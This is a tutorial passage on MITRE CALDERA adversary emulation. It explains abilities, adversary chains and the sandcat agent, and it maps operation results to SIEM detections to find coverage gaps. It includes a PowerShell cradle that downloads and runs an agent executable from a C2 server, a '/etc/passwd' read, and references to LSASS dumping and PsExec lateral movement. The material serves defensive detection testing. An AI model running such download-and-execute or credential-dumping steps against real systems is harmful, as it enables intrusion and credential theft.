CALDERA — Orchestrated Multi-Stage Operations

Where Atomic Red Team runs individual technique tests, CALDERA orchestrates multi-technique operations that chain through a kill chain. This is closer to how real attackers operate: not one technique in isolation, but a sequence of steps — initial execution, privilege escalation, credential access, lateral movement — each dependent on the previous.

CALDERA Architecture

┌─────────────────────────────────────────────┐
│               CALDERA Server                │
│  ┌──────────┐  ┌───────────┐  ┌──────────┐ │
│  │Abilities │  │Adversaries│  │ Planners │ │
│  └──────────┘  └───────────┘  └──────────┘ │
│  ┌──────────────────────────────────────┐  │
│  │           REST API + Web UI          │  │
│  └──────────────────────────────────────┘  │
└─────────────────────────────────────────────┘
         ↕ C2 (HTTP/HTTPS/DNS)
┌──────────────────────┐  ┌──────────────────────┐
│   Agent (sandcat)    │  │   Agent (sandcat)    │
│   WIN10 workstation  │  │   Server             │
└──────────────────────┘  └──────────────────────┘

The CALDERA server hosts the web UI, REST API, ability library, and operation database. Agents (sandcat executables) are deployed to target hosts, communicate with the server via C2 channels, and execute abilities.

Core Concepts

Abilities

An ability is the CALDERA equivalent of an atomic — one ATT&CK-mapped action:

# Example CALDERA ability (YAML representation)
id: f1234567-89ab-cdef-0123-456789abcdef
name: Discover local users
description: |
  Enumerate local user accounts on the target host.
tactic: discovery
technique:
  attack_id: T1087.001
  name: Account Discovery: Local Account
platforms:
  windows:
    cmd:
      command: net user
      cleanup: ''
  linux:
    sh:
      command: cat /etc/passwd
      cleanup: ''

The CALDERA library ships with 300+ abilities across all ATT&CK tactics.

Adversaries

An adversary is a named collection of abilities forming a kill chain:

APT-Style Lateral Movement Adversary
├── [Discovery]    T1087.001 — local user enum
├── [Discovery]    T1135    — network share enum
├── [Credential]   T1003.001 — LSASS dump
├── [Lateral]      T1021.002 — PsExec to remote host
└── [Collection]   T1005    — local data staging

CALDERA ships with pre-built adversaries (including published APT profiles from MITRE ATT&CK). You can also build custom adversaries by combining abilities.

Planners

Agents

Sandcat is CALDERA’s default agent — a Go binary that:

• Beacons to the CALDERA server on a configurable interval
• Receives and executes ability commands
• Returns results (stdout, exit code, collected facts)
• Supports sleep/jitter to emulate realistic C2 timing

Running a CALDERA Operation

Setup

# Clone and install CALDERA
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure  # use --secure in prod environments

# CALDERA server starts at http://localhost:8888
# Default creds: admin/admin (change immediately)

Deploy an agent

# On the Windows target host:
# Download and run the sandcat agent
$url = "http://caldera-server:8888/file/download"
$wc = New-Object System.Net.WebClient
$wc.Headers.add("platform","windows")
$wc.Headers.add("file","sandcat.go")
$data = $wc.DownloadData($url)
[IO.File]::WriteAllBytes("C:\Users\Public\sandcat.exe", $data)
Start-Process -FilePath "C:\Users\Public\sandcat.exe" -ArgumentList "-server http://caldera-server:8888 -group red"

The agent appears in the CALDERA web UI under Agents when it checks in.

Configure and run an operation

1. Web UI → Operations → New Operation
2. Set: Name, Adversary, Planner (atomic), Agent group
3. Click Start — CALDERA begins executing abilities on the agent
4. Monitor progress in real-time via the operation graph

Reading the Operation Graph

After the operation completes, the graph shows:

[T1087.001: net user]
  ↓ discovered: 3 local accounts (facts: user.name)
  
[T1003.001: LSASS dump via comsvcs.dll]
  ↓ collected: lsass.dmp (fact: file.path)
  ↓ status: SUCCESS (exit code 0)
  
[T1021.002: PsExec lateral movement]
  ↓ target: WIN-SERVER (from network discovery)
  ↓ status: FAILED (access denied — account lacks admin rights)

Each node shows: ability name, ATT&CK technique, status, facts collected.

Map to your SIEM:

CALDERA node: T1003.001 LSASS dump
→ Expected detection: proc_access_lsass.yml
→ SIEM query: index=sysmon EventCode=10 TargetImage="*lsass.exe*" earliest="-5m"
→ Result: Alert fired ✓

CALDERA node: T1021.002 PsExec
→ Expected detection: lateral_movement_psexec.yml  
→ SIEM query: index=sysmon EventCode=1 Image="*PsExec*" earliest="-5m"
→ Result: No alert — rule not deployed for this technique
→ Gap identified

CALDERA vs Atomic Red Team: When to Use Each